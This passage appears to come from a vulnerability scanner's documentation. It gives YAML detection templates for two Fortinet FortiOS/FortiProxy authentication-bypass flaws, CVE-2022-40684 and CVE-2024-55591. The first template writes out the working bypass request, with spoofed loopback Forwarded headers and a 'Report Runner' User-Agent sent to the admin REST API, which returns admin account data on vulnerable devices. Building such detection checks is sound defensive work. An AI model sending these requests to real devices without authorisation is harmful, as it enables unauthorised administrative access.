# loopback source/destination) combined with the internal "Report Runner" User-Agent
# makes FortiOS process the request as if it came from a trusted local component.
#
# Detection (safe, GET only — no modification of the target):
# Send the crafted request to the admin REST API and DETECT whether the
# unauthenticated request was PROCESSED.
# vulnerable → HTTP 200 with the authenticated admin-object JSON FortiOS returns
# (status":"success", the admin account object with accprofile/trusthost).
# patched → HTTP 401 / 403 (request rejected).
# The match keys on the genuine authenticated-response structure a real vulnerable
# FortiOS returns, not on any mock-fabricated marker.
#
# Affected: FortiOS 7.0.0–7.0.6, 7.2.0–7.2.1; FortiProxy 7.0.0–7.0.6, 7.2.0;
# FortiSwitchManager 7.0.0, 7.2.0. CISA KEV, exploited in the wild.
uid: 86b2534d-0bda-4de4-8ef8-4bb1b95865a8
name: "Fortinet FortiOS/FortiProxy Admin REST API Auth Bypass (CVE-2022-40684)"
description: |
Tests Fortinet FortiOS, FortiProxy and FortiSwitchManager for an authentication
bypass in the administrative REST API. A crafted "Forwarded:" header claiming a
trusted loopback origin, together with the internal "Report Runner" User-Agent,
lets an unauthenticated request be processed against admin endpoints such as
/api/v2/cmdb/system/admin. The safe GET probe detects whether the unauthenticated
request is processed (200 + admin-object JSON = vulnerable) or rejected (401/403 =
patched). CISA KEV, exploited in the wild.
cves: [CVE-2022-40684]
cvss: 9.8
category: auth-bypass
severity: critical
confidence_base: 0.30
tags: [fortinet, fortios, fortiproxy, fortiswitchmanager, auth-bypass, kev, admin-api]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2022-40684"
- "https://www.fortiguard.com/psirt/FG-IR-22-377"
- "https://www.horizon3.ai/attack-research/attack-blogs/cve-2022-40684-a-fortinet-authentication-bypass/"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-40684.yaml"
- "https://www.cisa.gov/known-exploited-vulnerabilities-catalog"
steps:
# ── Probe the admin REST API with the crafted trusted-origin request ──────
# The "Forwarded:" header spoofs a loopback source/destination and the
# "Report Runner" User-Agent impersonates the internal report component.
# On a vulnerable device the unauthenticated request is PROCESSED and FortiOS
# returns the admin account object; on a patched device it is rejected (401/403).
- id: admin-probe
action: http_request
method: GET
path: "/api/v2/cmdb/system/admin"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
User-Agent: "Report Runner"
Forwarded: 'for="[127.0.0.1]:8000";by="[127.0.0.1]:9000"'
X-Forwarded-Vdom: "root"
X-Forwarded-For: "127.0.0.1"
store_as: admin_resp
# ── Detect the authenticated admin-object JSON FortiOS returns ────────────
# The admin REST API answers with a "status":"success" envelope whose results
# array holds the admin account (accprofile/trusthost). This structure is only
# returned when the request is authorised — i.e. when the bypass succeeded.
- id: admin-match
action: match
source: admin_resp.body
pattern: '"accprofile"\s*:\s*"super_admin".*"status"\s*:\s*"success"'
condition: "admin_resp.status == 200"
on_match:
finding:
confidence_delta: 0.45
qod: 75
evidence: "Auth bypass confirmed — unauthenticated GET /api/v2/cmdb/system/admin processed (HTTP {{admin_resp.status}}), admin account object returned: {{admin_resp.body}}"
stop: trueFortinet FortiOS/FortiProxy Node.js WebSocket Auth Bypass
| CVE | CVE-2024-55591 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | http_request, match · highest QoD 50 |
| Feed | tests/vulnerabilities/fortios/CVE-2024-55591.yaml |
Tests Fortinet FortiOS and FortiProxy for an authentication bypass in the Node.js WebSocket handler. A specially crafted request allows unauthenticated access to the administrative interface. The service-worker.js resource is normally restricted to authenticated sessions but is served without credentials on vulnerable versions. Exploited in the wild as zero-day in early 2025 (CISA KEV, EPSS 0.983). Affected: FortiOS 7.0.0–7.0.16, 6.4.0–6.4.15; FortiProxy 7.0.0–7.0.19, 7.2.0–7.2.12.
How noctis detects it
- HTTP(S) request
GET /login?redir=/ng - Checks
login_resp.bodyfor<html class="main-app" - HTTP(S) request
GET /service-worker.js?local_access_token=noctis-probe - Checks
sw_resp.bodyforapi/v2/static - Checks
sw_resp.bodyforself\.addEventListener→ finding QoD 50: Auth bypass confirmed — /service-worker.js served without credentials (api/v2/static + event listener present)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2024-55591
- https://www.fortiguard.com/psirt/FG-IR-24-535
- https://github.com/watchtowrlabs/fortios-auth-bypass-poc-CVE-2024-55591
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-55591.yaml
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog
Feed source — tests/vulnerabilities/fortios/CVE-2024-55591.yaml
uid: 219c46de-5809-4bb7-9d4d-79407edc1f9c
name: "Fortinet FortiOS/FortiProxy Node.js WebSocket Auth Bypass (CVE-2024-55591)"
description: |
Tests Fortinet FortiOS and FortiProxy for an authentication bypass in the Node.js
WebSocket handler. A specially crafted request allows unauthenticated access to
the administrative interface. The service-worker.js resource is normally restricted
to authenticated sessions but is served without credentials on vulnerable versions.
Exploited in the wild as zero-day in early 2025 (CISA KEV, EPSS 0.983).
Affected: FortiOS 7.0.0–7.0.16, 6.4.0–6.4.15; FortiProxy 7.0.0–7.0.19, 7.2.0–7.2.12.
cves: [CVE-2024-55591]
cvss: 9.8
severity: critical
category: auth-bypass
confidence_base: 0.20
tags: [fortinet, fortios, fortiproxy, auth-bypass, kev, apt, admin-ui]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2024-55591"
- "https://www.fortiguard.com/psirt/FG-IR-24-535"
- "https://github.com/watchtowrlabs/fortios-auth-bypass-poc-CVE-2024-55591"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-55591.yaml"
- "https://www.cisa.gov/known-exploited-vulnerabilities-catalog"
steps:
# ── Step 1: Fingerprint the FortiOS/FortiProxy admin interface ────────────
# The login page returns an HTML page with class="main-app" on the root element.
# This confirms the target is running the FortiOS/FortiProxy admin UI.
- id: login-probe
action: http_request
method: GET
path: "/login?redir=/ng"
port: "{{port}}"
tls_insecure: true
follow_redirects: true
timeout_secs: 10
store_as: login_resp
- id: login-match
action: match
source: login_resp.body
pattern: '<html class="main-app"'
condition: "login_resp.status == 200"
on_match:
set_vars:
is_fortios: true
# ── Step 2: Probe the service-worker.js endpoint without authentication ───
# On vulnerable devices, /service-worker.js is served without any auth check.
# It references internal API paths (api/v2/static) and registers event listeners
# unique to the FortiOS/FortiProxy admin UI.
# On patched devices, the endpoint returns HTTP 401.
- id: sw-probe
action: http_request
method: GET
path: "/service-worker.js?local_access_token=noctis-probe"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: sw_resp
condition: "is_fortios == true"
- id: sw-match-api
action: match
source: sw_resp.body
pattern: "api/v2/static"
condition: "sw_resp.status == 200"
on_match:
set_vars:
has_api_path: true
- id: sw-match-listener
action: match
source: sw_resp.body
pattern: "self\\.addEventListener"
condition: "has_api_path == true"
on_match:
finding:
confidence_delta: 0.50
qod: 50
evidence: "Auth bypass confirmed — /service-worker.js served without credentials (api/v2/static + event listener present)"
stop: true